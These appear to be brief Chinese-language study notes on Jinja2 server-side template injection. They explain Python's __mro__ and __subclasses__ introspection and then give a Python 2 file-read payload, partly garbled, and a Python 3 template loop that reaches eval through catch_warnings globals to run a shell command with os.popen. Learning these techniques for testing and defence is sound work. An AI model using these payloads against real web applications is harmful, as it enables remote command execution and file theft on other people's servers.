利用python中的魔术方法找到要利用的函数
mro中的MRO(Method Resolution Order)代表着解析方法调用的顺序。 它是每个对象元类的一个隐藏属性,当进行内省时会忽略dir输出。
subclasses属性在这里作为一种方法被定义为,对每个new-style class“为它的直接子类维持一个弱引用列表”,之后“返回一个包含所有存活引用的列表”。
大概就是mro会输出当前对象所调用的全部类包括其父类,而subclasses会输出该类下所有的子类。
读取文件file(python2的方法):{{ ‘’.class.mro[2].subclasses()40.read() }}
python3不支持file类
python3中要找到继承链用命令执行函数RCE{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}